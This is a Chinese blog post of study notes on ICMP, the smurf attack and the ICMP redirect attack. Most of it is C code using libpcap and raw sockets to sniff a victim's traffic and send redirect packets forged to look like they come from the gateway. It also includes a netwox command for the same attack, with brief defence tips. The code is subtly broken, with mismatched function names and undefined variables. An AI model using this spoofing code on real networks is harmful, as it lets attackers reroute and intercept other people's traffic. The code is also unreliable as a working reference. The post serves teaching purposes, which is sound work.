ICMP和重定向攻擊

ICMP數據報格式

https://zhuanlan.zhihu.com/p/58662573
頭部type,code,checksum ,4字節,擴展字段,4字節
icmp作爲數據部分封裝到ip數據報中
IPv4中的常用type,ipv6與之不同

  • 0:Echo Reply 回顯應答,返回數據 ping
  • 3:Destination Unreachable 不可達
  • 5:Redirect (change route) 重定向
  • 8:Echo Request 回顯請求,ping
  • 11:time Exceeded for a Datagram,超時
    struct icmp
    {
    u_int8_t icmp_type; /* type of message, see below */
    u_int8_t icmp_code; /* type sub code */
    u_int16_t icmp_cksum; /* ones complement checksum of struct tcp、icmp是全部的校驗和,ip的只有頭部*/
    union
    {
    u_char ih_pptr; /* ICMP_PARAMPROB */
    struct in_addr ih_gwaddr; /* gateway address */
    struct ih_idseq /* echo datagram */
    {
    u_int16_t icd_id;
    u_int16_t icd_seq;
    } ih_idseq;
    u_int32_t ih_void;

smurf攻擊

冒充target ip 廣播icmp回顯請求,target會收到大量icmp回顯回覆,從而忙於處理icmp而拒絕服務。
如何防禦?
使主機或路由器不響應ICMP請求或廣播,或使路由器不轉發目的是廣播地址的數據包

ICMP重定向攻擊

代碼:icmpRedirect.c
重定向:若路由器收到一個數據報,並發現該數據報存在一個比自己更好的下一跳路由,就會向主機發送重定向報文,讓其更新轉發表。
重定向只支持對單個目標主機的重定向,所以不會改變路由表,但可以改變route cache, netstate -rn --cache。
在這裏插入圖片描述

sudo netwox 86 -g new_gateway_ip -i old_gateway_ip
也可以通過raw socket編程,手動實現重定向。

如何防禦:使用防火牆過濾icmp或手動關閉icmp redirect

基於libpcap的sniffer

頭文件 pcap.h
基於libpcap,編譯時加入 -lpcap
編程步驟:

  • 查找設備
  • 打開設備,獲得一個把手(handle是系統提供的一個用於交互的接口)
  • 設置、應用filter
  • 抓包,pcap_next (只抓一 次) , pcap_loop (循環)
  • 分析數據包
  • 結束
	char errBuf[PCAP_ERRBUF_SIZE], * devStr;
    /* 查找設備 */
    devStr = pcap_lookupdev(errBuf);
    /*捕獲數據
    * 參數:設備名稱,最大捕獲量(字節),是否置於混雜模式(混雜即捕獲設備收發的所有數據),超時時間(0表示沒有超時等待),錯誤信息
    */
    pcap_t * handle = pcap_open_live(devStr, 65535, 1, 0, errBuf);    
    struct bpf_program filter;
    char filterstr[50]={0};
    sprintf(filterstr,"src host %s",Vic_IP); //將ip寫入filterstr緩衝區

    //編譯filter
    //參數:filter過濾器指針;filterstr過濾表達式; 1:表達式是否被優化;0:應用此過濾器的掩碼
    if (pcap_compile(handle, &filter, filterstr, 1, 0) == -1) {
		 fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
		 return 0;
	 }
     //啓用過濾器
     if (pcap_setfilter(handle, &filter) == -1) {
         fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
         return 0;
     }
    //循環抓包
    //-1表示循環次數,getPacket是回調函數,用於解析數據包,最後參數一般置爲null
    pcap_loop(handle, -1, getPacket, NULL);
    //結束
	pcap_freecode(&fp);
    pcap_close(handle);

raw socket

參考https://zhuanlan.zhihu.com/p/59296026
頭文件: #include <sys/socket.h> #include <netinet/in.h>
套接字(socket)允許在相同/不同的機器上的兩個進程通信。基於VFS,是一種對多種協議提供支持的抽象。 位於網絡協議棧和應用層之間。

  • socket(AF_INET, 類型,協議)
    AF_INET/PF_INET,表示從inet層(IP)開始,AF_PACKET表示從ETHERNET曾開始
    類型:STREAM對應TCP, DATAGRAM對應UDP, SOCK_RAW,原始套接字,只有它才允許手動填寫對應協議的數據包。
    協議:IPPROTO_ICMP,IPPROTO_UDP,IPPROTO_IP,IPPROTO_RAW(可手動修改ip頭)等,定義在netinet/in.h

  • sockaddr是對多種類型地址的抽象,編程時先用sockaddr_in寫好,使用時強制轉換爲sockaddr

struct sockaddr {
	unsigned short sa_family; //AF_INET(IP)
	char sa_data[14];//端口號+IP地址
};
struct sockaddr_in {
	short int sin_family; //AF_INET(IP)
	unsigned short int sin_port; //網絡字節序
	struct in_addr sin_addr;
	unsigned char sin_zero[8];//0
};
//inet_aton("200.200.200.200", &myaddr.sin_addr.s_addr);
struct in_addr {
	unsigned long s_addr;//32位的IP地址,網絡字節序
};

網絡字節序,大端存儲,高字節存在低地址
htons() Host to Network Short,port
htonl() Host to Network Long,ip
ntohl() Network to Host Long
ntohs() Network to Host Short

	//用struct sockaddr_in定義地址
	struct sockaddr_in myaddr;
	int s;	
	myaddr.sin_family = AF_INET;
	myaddr.sin_port = htons(3456);
	inet_aton("200.200.200.200", &myaddr.sin_addr.s_addr);	
	s = socket(PF_INET, SOCK_STREAM, 0);
	//使用時,用struct sockaddr*強制類型轉換
	bind(s, (struct sockaddr*)myaddr, sizeof(myaddr));

定義包頭

剝洋蔥法,如以太網幀頭+IP頭+TCP頭+TCP數據,使用強制類型轉換獲取需要的數據
頭文件

#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/* Ethernet header */
struct ethernet_header{
        u_int8_t  ether_dhost[ETHER_ADDR_LEN];    /* destination host address */
        u_int8_t  ether_shost[ETHER_ADDR_LEN];    /* source host address */
        u_int16_t ether_type;                     /* IP? ARP? RARP? etc */
};

/* IP header */
struct ip_header  
{  
#ifdef WORDS_BIGENDIAN  
  u_int8_t ip_version:4;  
  u_int8_t ip_header_length:4;  
#else  
  u_int8_t ip_header_length:4;  
  u_int8_t ip_version:4;  
#endif  
  u_int8_t ip_tos;  
  u_int16_t ip_length;  
  u_int16_t ip_id;  
  u_int16_t ip_off;  
  u_int8_t ip_ttl;  
  u_int8_t ip_protocol;  
  u_int16_t ip_checksum;  
  struct in_addr ip_source_address;  
  struct in_addr ip_destination_address;  
};  
#define IP_HL(ip)               (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip)                (((ip)->ip_vhl) >> 4)

/* TCP header */
typedef u_int16_t tcp_seq;

struct tcp_header{
        u_int16_t th_sport;               /* source port */
        u_int16_t th_dport;               /* destination port */
        tcp_seq th_seq;                 /* sequence number */
        tcp_seq th_ack;                 /* acknowledgement number */
        u_int8_t  th_offx2;               /* data offset, rsvd */
#define TH_OFF(th)      (((th)->th_offx2 & 0xf0) >> 4)
        u_int8_t  th_flags;
        #define TH_FIN  0x01
        #define TH_SYN  0x02
        #define TH_RST  0x04
        #define TH_PUSH 0x08
        #define TH_ACK  0x10
        #define TH_URG  0x20
        #define TH_ECE  0x40
        #define TH_CWR  0x80
        #define TH_FLAGS        (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
        u_int16_t th_win;                 /* window */
        u_int16_t th_sum;                 /* checksum */
        u_int16_t th_urp;                 /* urgent pointer */
};

/*icmp*/
struct icmp_header  
{  
  u_int8_t icmp_type;  
  u_int8_t icmp_code;  
  u_int16_t icmp_checksum;  
  struct in_addr icmp_gateway_addr;

  //u_int16_t icmp_identifier;  
  //u_int16_t icmp_sequence;  
};  

/* ethernet headers are always exactly 14 bytes [1] */
#define SIZE_ETHERNET 14
/* Ethernet addresses are 6 bytes */
#define ETHER_ADDR_LEN	6

解析數據包

void getPacket(u_int8_t * arg, const struct pcap_pkthdr * pkthdr, const u_int8_t * packet) 
{
    static int count = 1;   //計數
   	int sockfd,res;
    int one = 1;
    int *ptr_one = &one;

    /* 包頭 */
	const struct ethernet_header *ethernet;  /* The ethernet header [1] */
	const struct ip_header *ip;              /* The IP header */
	const struct tcp_header *tcp;            /* The TCP header */
	const char *payload;                    /* Packet payload */

    int ipHeaderLen;
	int tcpHeaderLen;
    printf("\nPacket number %d:\n", count++);
    printf("Packet length: %d\n", pkthdr->len);

    /* define ethernet header */
	ethernet = (struct ethernet_header*)(packet);
	/* ip header */   
	ip = (struct ip_header*)(packet + SIZE_ETHERNET); 
	ipHeaderLen = (ip->ip_header_length)*4;  //IP頭長度的單位是4字節
	if (ipHeaderLen < 20) {
		printf("   * Invalid IP header length: %u bytes\n", size_ip);
		return;
	}
	/* print source and destination IP addresses */
	printf("       From: %s\n", inet_ntoa(ip->ip_source_address)); 
	printf("         To: %s\n", inet_ntoa(ip->ip_destination_address));
	/*//tcpHeaderLen = (struct tcp_header*)(packet + SIZE_ETHERNET+ipHeaderLen); 
	if(tcpHeaderLen<20)
	{
		printf("   * Invalid TCP header length: %u bytes\n", size_ip);
		return;
	}*/
	//創建raw socket,手動填充icmp部分
	if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
        {
            printf("create sockfd error\n");
            exit(-1);
        }
	 //開啓IP_HDRINCL選項,手動填充IP頭
    res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one));   
    if(res < 0)
    {
        printf("error--\n");
        exit(-3);
    }
    //重定向攻擊
    icmp_redirect(sockfd,ip_packet);
    close(sockfd);	
    return;
}

重定向

/*重定向攻擊*/
void icmpRedirect(int sockfd,const unsigned char * packet_data){
	struct ip_header *ip;
    struct icmp_header *icmp;
    //設定好數據報:ip頭,icmp頭,icmp數據
	struct packet_struct
	{
		struct iphdr ip;
		struct icmphdr icmp;
		char datas[28];
    }packet;

	//ip頭 20字節
    packet.ip.version = 4;
    packet.ip.ihl = 5;
    packet.ip.tos = 0;  //服務類型
    packet.ip.tot_len = htons(56);  //host to short 56=20+8+28
    packet.ip.id = getpid();
    packet.ip.frag_off = 0;
    packet.ip.ttl = 255;
    packet.ip.protocol = IPPROTO_ICMP;
    packet.ip.check = 0;
    packet.ip.saddr = inet_addr(Ori_Gw_IP); //僞造網關發送ip報文
    packet.ip.daddr = inet_addr(Vic_IP);    //把重定向包發給受害者
    
    //icmp頭 8字節
    packet.icmp.type = ICMP_REDIRECT;//5
    packet.icmp.code = ICMP_REDIR_HOST;//0
    packet.icmp.checksum = 0;
    packet.icmp.un.gateway = inet_addr(Redic_IP);
    struct sockaddr_in dest =  {
        .sin_family = AF_INET,
        .sin_addr = {
        .s_addr = inet_addr(Vic_IP)
        }
    };
    //將抓到的IP包的前28字節 ,作爲icmp數據
    memcpy(packet.datas,(packet_data + SIZE_ETHERNET),28);
    packet.ip.check = checksum(&packet.ip,sizeof(packet.ip));
    packet.icmp.checksum = checksum(&packet.icmp,sizeof(packet.icmp)+28);
    
    //sendto用於非可靠連接的數據數據發送,如UDP, 接收數據用recvfrom  
    sendto(sockfd,&packet,56,0,(struct sockaddr *)&dest,sizeof(dest));
    printf("send icmp redirect\n");
}

參考:
https://zhuanlan.zhihu.com/p/59161220
《TCP/IP詳解》
《UNIX網絡編程》

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章